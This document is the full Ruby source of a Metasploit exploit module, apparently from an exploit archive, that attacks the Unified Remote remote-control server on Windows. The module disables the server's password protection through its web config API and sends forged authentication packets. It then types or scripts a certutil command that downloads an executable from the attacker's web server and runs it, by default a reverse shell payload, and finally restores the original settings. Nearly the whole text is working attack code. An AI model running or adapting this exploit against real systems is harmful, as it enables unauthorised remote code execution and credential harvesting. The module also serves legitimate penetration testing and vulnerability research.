Unified Remote Authentication Bypass / Code Execution

2022.09.22
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp # attempted cmdstger, however there was so much sleep involved for the screen to clear the buffer # that it was going to take hours. The buffer would also overrun itself and the exploit would fail # if not enough sleep time was used. it was a nightmare, not for this exploit. # include Msf::Exploit::CmdStager include Exploit::EXE # generate_payload_exe include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Unified Remote Auth Bypass to RCE', 'Description' => %q{ This module utilizes the Unified Remote remote control protocol to type out and deploy a payload. The remote control protocol can be configured to have no passwords, a group password, or individual user accounts. If the web page is accessible, the access control is set to no password for exploitation, then reverted. If the web page is not accessible, exploitation will be tried blindly. This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'H4RK3NZ0' # edb ], 'References' => [ [ 'EDB', '49587' ], [ 'URL', 'https://www.unifiedremote.com/' ], [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/unified%20remote/unified-remote-rce.py' ], [ 'CVE', '2022-3229' ] ], 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['pull', {}], ], 'Payload' => { 'BadChars' => "\x0a\x00" }, 'DefaultOptions' => { # since this may get typed out ON SCREEN we want as small a payload as possible 'PAYLOAD' => 'windows/shell/reverse_tcp' }, 'DisclosureDate' => '2021-02-25', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [CRASH_SERVICE_DOWN], 'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen } ) ) register_options( [ OptPort.new('RPORT', [true, 'Port Unified Remote runs on', 9512]), OptPort.new('WEBSERVER', [true, 'Port Unified Remote web server runs on', 9510]), OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]), OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']), OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']), OptBool.new('VISIBLE', [false, 'Make exploitation visible to the user', false]), ] ) end def win_key 'LWIN' # 4c57494e end def ret_key 'RETURN' # 52455455524e end def space_key 'SPACE' # 5350414345 end def path return datastore['PATH'] if datastore['PATH'].end_with? '\\' "#{datastore['PATH']}\\" end def initialize_packet initialize_packet = "\x00\x00\x00\x85\x00\x01\x08" initialize_packet << "Action\x00" # 416374696f6e 00 initialize_packet << "\x00\x05" initialize_packet << "Password\x00" # 50617373776f7264 00 initialize_packet << '8e8133b3-a18b-43af-a7cd-e04f747827ce' # 38653831333362332d613138622d343361662d613763642d653034663734373832376365 seems to be a default initialize_packet << "\x00\x05" initialize_packet << "Platform\x00" # 506c6174666f726d 00 initialize_packet << "android\x00" # 616e64726f6964 00 initialize_packet << "\x08" initialize_packet << "Request\x00" # 52657175657374 00 initialize_packet << "\x00\x05" initialize_packet << "Source\x00" # 536f7572636500 # this line shows up in logs as who connected initialize_packet << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00 initialize_packet << "\x03" initialize_packet << "Version\x00" # 56657273696f6e 00 initialize_packet << "\x00\x00\x00\x0a\x00" end def empty_authentication empty_authentication = "\x00\x00\x00\xc8\x00\x01\x08" empty_authentication << "Action\x00" # 416374696f6e 00 empty_authentication << "\x01\x02" empty_authentication << "Capabilities\x00" # 4361706162696c6974696573 00 empty_authentication << "\x04" empty_authentication << "Actions\x00" # 416374696f6e73 00 empty_authentication << "\x01\x04" empty_authentication << "Encryption2\x00" # 456e6372797074696f6e32 00 empty_authentication << "\x01\x04" empty_authentication << "Fast\x00" # 46617374 00 empty_authentication << "\x00\x04" empty_authentication << "Grid\x00" # 47726964 00 empty_authentication << "\x01\x04" empty_authentication << "Loading\x00" # 4c6f6164696e6700 empty_authentication << "\x01\x04" empty_authentication << "Sync\x00" # 53796e6300 empty_authentication << "\x01\x00\x05" empty_authentication << "Password\x00" # 50617373776f7264 00 empty_authentication << 'd634c1dcfdeb8735608a4a104ded4076de766dd61443619809ad7f35858d4492' # 64363334633164636664656238373335363038613461313034646564343037366465373636646436313434333631393830396164376633353835386434343932 seems to be a default empty_authentication << "\x00\x08" empty_authentication << "Request\x00" # 52657175657374 00 empty_authentication << "\x01\x05" empty_authentication << "Source\x00" # 536f7572636500 # this line shows up in logs as who connected empty_authentication << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00 empty_authentication << "\x00" end ############################################# # These methods/packets are for visible mode ############################################# def string_header_one(length) # 2 null, then message length takes next 2 spots string_header_one = "\x00\x00" string_header_one << [length].pack('n').to_s end def string_header_two string_header_two = "\x00\x01\x08" string_header_two << "Action\x00" # 416374696f6e 00 string_header_two << "\x07\x05" string_header_two << "ID\x00" # 4944 00 string_header_two << "Relmtech.Keyboard\x00" # 52656c6d746563682e4b6579626f617264 00 string_header_two << "\x02" string_header_two << "Layout\x00" # 4c61796f7574 00 string_header_two << "\x06" string_header_two << "Controls\x00" # 436f6e74726f6c73 00 string_header_two << "\x02\x00\x02" string_header_two << "OnAction\x00" # 4f6e416374696f6e 00 string_header_two << "\x02" string_header_two << "Extras\x00" # 457874726173 00 string_header_two << "\x06" string_header_two << "Values\x00" # 56616c756573 00 string_header_two << "\x02\x00\x05" string_header_two << "Value\x00" # 56616c7565 00 end def string_footer string_footer = "\x00\x00\x00\x00\x05" string_footer << "Name\x00" # 4e616d65 00 string_footer << "toggle\x00" # 746f67676c65 00 string_footer << "\x00\x05" string_footer << "Source\x00" # 536f75726365 00 # this line shows up in logs as who connected string_footer << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00 string_footer << "\x00" end def send_key(key, press_return: false) if key == ' ' key = space_key end contents = "#{string_header_two}#{key}#{string_header_three}#{key}#{string_footer}" contents = "#{string_header_one(contents.length)}#{contents}" sock.put(contents) if press_return contents = "#{string_header_two}#{ret_key}#{string_header_three}#{ret_key}#{string_footer}" contents = "#{string_header_one(contents.length)}#{contents}" sock.put(contents) end end ############################################## # These methods/packets are for invisible mode ############################################## def load_unified_command # header: 00 00 00 5e wait = "\x00\x01\x08" wait << "Action\x00" # 416374696f6e 00 wait << "\x03\x05" # changed from the previous one from 07 to 03 wait << "ID\x00" # 4944 00 wait << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00 wait << "\x02" wait << "Layout\x00" # 4c61796f7574 00 wait << "\x03" wait << "Hash\x00" # 48617368 00 wait << "\x9e\xd0\x99:\x00" # 9ed0993a 00 wait << "\x08" wait << "Request\x00" # 52657175657374 00 wait << "\x03\x05" # changed from the previous one from 07 to 03 wait << "Source\x00" # 536f7572636500 wait << "#{@client_name}\x00" wait << "\x00" end def create_script # header: 00 00 00 e2 new_onee = "\x00\x01\x08" new_onee << "Action\x00" # 416374696f6e 00 new_onee << "\x07\x05" new_onee << "ID\x00" # 4944 00 new_onee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00 new_onee << "\x02" new_onee << "Layout\x00" # 4c61796f7574 00 new_onee << "\x06" new_onee << "Controls\x00" # 436f6e74726f6c73 00 new_onee << "\x02\x00\x02" new_onee << "OnAction\x00" # 4f6e416374696f6e 00 new_onee << "\x02" new_onee << "Extras\x00" # 457874726173 00 new_onee << "\x06" new_onee << "Values\x00" # 56616c756573 00 new_onee << "\x02\x00\x05" new_onee << "Key\x00" # 4b6579 00 new_onee << "Text\x00" # 54657874 00 new_onee << "\x05" new_onee << "Value\x00" # 56616c7565 00 new_onee << "\x00\x00\x00\x00\x05" new_onee << "Name\x00" # 4e616d65 00 new_onee << "update\x00" # 757064617465 00 new_onee << "\x00\x08" new_onee << "Type\x00" # 54797065 00 new_onee << "\x08\x00\x00\x00\x08" new_onee << "Request\x00" # 52657175657374 00 new_onee << "\x07\x02" new_onee << "Run\x00" # 52756e 00 new_onee << "\x02" new_onee << "Extras\x00" # 457874726173 00 new_onee << "\x06" new_onee << "Values\x00" # 56616c756573 00 new_onee << "\x02\x00\x05" new_onee << "Key\x00" # 4b6579 00 new_onee << "Text\x00" # 54657874 00 new_onee << "\x05" new_onee << "Value\x00" # 56616c7565 00 new_onee << "\x00\x00\x00\x00\x05" new_onee << "Name\x00" # 4e616d65 00 new_onee << "update\x00" # 757064617465 00 new_onee << "\x00\x05" new_onee << "Source\x00" # 536f75726365 00 new_onee << "#{@client_name}\x00" new_onee << "\x00" end def initialize_keyboard # header 00 00 00 4b new_twoo = "\x00\x01\x08" new_twoo << "Action\x00" # 416374696f6e 00 new_twoo << "\x05\x05" new_twoo << "ID\x00" # 4944 00 new_twoo << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00 new_twoo << "\x08" new_twoo << "Request\x00" # 52657175657374 00 new_twoo << "\x05\x05" new_twoo << "Source\x00" # 536f75726365 00 new_twoo << "#{@client_name}\x00" new_twoo << "\x00" end def add_content(command) # header is dymanic based on length of command new_threee = "\x00\x01\x08" new_threee << "Action\x00" # 416374696f6e 00 new_threee << "\x07\x05" new_threee << "ID\x00" # 4944 00 new_threee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00 new_threee << "\x02" new_threee << "Layout\x00" # 4c61796f7574 00 new_threee << "\x06" new_threee << "Controls\x00" # 436f6e74726f6c73 00 new_threee << "\x02\x00\x02" new_threee << "OnAction\x00" # 4f6e416374696f6e 00 new_threee << "\x02" new_threee << "Extras\x00" # 457874726173 00 new_threee << "\x06" new_threee << "Values\x00" # 56616c756573 00 new_threee << "\x02\x00\x05" new_threee << "Key\x00" # 4b6579 00 new_threee << "Text\x00" # 54657874 00 new_threee << "\x05" new_threee << "Value\x00" # 56616c7565 00 new_threee << command new_threee << "\x00\x00\x00\x00\x05" new_threee << "Name\x00" # 4e616d65 00 new_threee << "update\x00" # 757064617465 00 new_threee << "\x00\x08" new_threee << "Type\x00" # 54797065 00 new_threee << "\x08\x00\x00\x00\x08" new_threee << "Request\x00" # 52657175657374 00 new_threee << "\x07\x02" new_threee << "Run\x00" # 52756e 00 new_threee << "\x02" new_threee << "Extras\x00" # 457874726173 00 new_threee << "\x06" new_threee << "Values\x00" # 56616c756573 00 new_threee << "\x02\x00\x05" new_threee << "Key\x00" # 4b6579 00 new_threee << "Text\x00" # 54657874 00 new_threee << "\x05" new_threee << "Value\x00" # 56616c7565 00 new_threee << command new_threee << "\x00\x00\x00\x00\x05" new_threee << "Name\x00" # 4e616d65 00 new_threee << "update\x00" # 757064617465 00 new_threee << "\x00\x05" new_threee << "Source\x00" # 536f75726365 00 new_threee << "#{@client_name}\x00" new_threee << "\x00" end def execute_script # header 00 00 00 96 new_fourr = "\x00\x01\x08" new_fourr << "Action\x00" # 416374696f6e 00 new_fourr << "\x07\x05" new_fourr << "ID\x00" # 4944 00 new_fourr << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00 new_fourr << "\x02" new_fourr << "Layout\x00" # 4c61796f7574 00 new_fourr << "\x06" new_fourr << "Controls\x00" # 436f6e74726f6c73 00 new_fourr << "\x02\x00\x02" new_fourr << "OnAction\x00" # 4f6e416374696f6e 00 new_fourr << "\x05" new_fourr << "Name\x00" # 4e616d65 00 new_fourr << "execute\x00" # 65786563757465 00 new_fourr << "\x00\x08" new_fourr << "Type\x00" # 54797065 00 new_fourr << "\x08\x00\x00\x00\x08" new_fourr << "Request\x00" # 52657175657374 00 new_fourr << "\x07\x02" new_fourr << "Run\x00" # 52756e 00 new_fourr << "\x05" new_fourr << "Name\x00" # 4e616d65 00 new_fourr << "execute\x00" # 65786563757465 00 new_fourr << "\x00\x05" new_fourr << "Source\x00" # 536f75726365 00 new_fourr << "#{@client_name}\x00" new_fourr << "\x00" end def string_header_three string_header_three = "\x00\x00\x00\x00\x05" string_header_three << "Name\x00" # 4e616d65 00 string_header_three << "toggle\x00" # 746f67676c65 00 string_header_three << "\x00\x08" string_header_three << "Type\x00" # 54797065 00 string_header_three << "\x08\x00\x00\x00\x08" string_header_three << "Request\x00" # 52657175657374 00 string_header_three << "\x07\x02" string_header_three << "Run\x00" # 52756e 00 string_header_three << "\x02" string_header_three << "Extras\x00" # 457874726173 00 string_header_three << "\x06" string_header_three << "Values\x00" # 56616c756573 00 string_header_three << "\x02\x00\x05" string_header_three << "Value\x00" # 56616c7565 00 end def on_request_uri(cli, _req) p = generate_payload_exe send_response(cli, p) print_good("Payload request received, sending #{p.length} bytes of payload for staging") end def restart_server http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i }) # http client overrides sock, so we had to pick one... long live sock request = "GET /system/restart HTTP/1.1\r\n" request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n" request << "\r\n" http_sock.put(request) disconnect print_status('Sleeping 5 seconds for server to restart') sleep(5) end def set_config(config) print_status('Uploading new server config') http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i }) # http client overrides sock, so we had to pick one... long live sock request = "POST /system/config HTTP/1.1\r\n" request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n" request << "Accept: application/json, text/javascript, */*; q=0.01\r\n" request << "Content-Type: application/json\r\n" request << "X-Requested-With: XMLHttpRequest\r\n" request << "Content-Length: #{config.to_json.length}\r\n" request << "\r\n" request << config.to_json http_sock.put(request) begin http_sock.get_once(-1) rescue EOFError return nil end disconnect restart_server end def get_config print_status('Retrieving server config') http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i }) # http client overrides sock, so we had to pick one... long live sock request = "GET /system/config HTTP/1.1\r\n" request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n" request << "\r\n" http_sock.put(request) begin res = http_sock.get_once(-1) rescue EOFError return nil end disconnect body = res.split("\r\n\r\n")[1] if body.include?('<h1>Forbidden (403)</h1>') print_error('Web interface is disabled. Unable to attempt bypass, assuming no authentication.') return nil else # transient error where the JSON doesn't fully receive maybe 1/15 tries in my testing begin return JSON.parse(body) # split between headers and body rescue JSON::ParserError return nil end end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: DateTime.now, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def check security_mode = get_config if security_mode.nil? return CheckCode::Unknown('Unable to get config from web server, unknown status of Unified Remote Controller') end CheckCode::Vulnerable("Unified Remote is vulnerable on port #{security_mode['interfaces']['tcp']['port']} with security mode '#{security_mode['security']['mode']}' (can be bypassed, if needed)") end def exploit if datastore['CLIENTNAME'].blank? @client_name = "android-#{Rex::Text.rand_text_alphanumeric(16)}" print_status("Client name set to: #{@client_name}") else @client_name = datastore['CLIENTNAME'] end # first grab the config from the HTTP server to determine if we need to disable auth security_mode = get_config reset_security_mode = nil unless security_mode.nil? if security_mode['security']['mode'] == 'none' print_good('No security enabled') else print_status("#{security_mode['security']['mode']} mode enabled, password required, bypassing") reset_security_mode = security_mode['security']['mode'] security_mode['security']['mode'] = 'none' set_config(security_mode) end # now that we have the config, check if theres any users, no passwords (theyre GUIDs) security_mode['security']['users'].each do |account| print_good("Found account: #{account['username']}") report_cred( ip: rhost, port: rport, service_name: 'wifi mouse', user: account['username'], password: '', proof: account ) end end # start actually exploiting the rdp-ish server connect print_status('Sending handshake') sock.put(initialize_packet) sleep(datastore['SLEEP']) print_status('Sending empty authentication') sock.put(empty_authentication) sleep(datastore['SLEEP']) filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe' register_file_for_cleanup("#{path}#{filename}") # this method was in the original edb exploit, this is significantly faster # and speed is of the essence since remote user input most likely breaks this module stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}" start_service('Path' => '/') # start webserver if datastore['VISIBLE'] print_status('Opening Start Menu') # original exploit sent it twice, so we follow that send_key(win_key) send_key(win_key) sleep(datastore['SLEEP']) print_status('Opening command prompt') 'cmd.exe'.each_char do |letter| send_key(letter) end send_key(ret_key) sleep(datastore['SLEEP']) print_status('Typing out payload') stager.each_char do |letter| send_key(letter) end send_key(ret_key) sleep(datastore['SLEEP'] * 2) # give time for it to save print_status('Attempting to open payload') "#{path}#{filename} && exit".each_char do |letter| send_key(letter) end send_key(ret_key) else stager << " && #{path}#{filename} && exit" print_status('Loading Unified.Command') contents = load_unified_command sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) print_status('Updating Unified.Command') contents = create_script sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) contents = initialize_keyboard sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) print_status('Sending payload') contents = add_content(stager) sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) print_status('Executing script') contents = execute_script sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) contents = create_script sock.put("#{string_header_one(contents.length)}#{contents}") sleep(datastore['SLEEP']) end handler disconnect sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert # lastly some cleanup unless reset_security_mode.nil? print_status('Reverting security mode') security_mode['security']['mode'] = reset_security_mode set_config(security_mode) end end end


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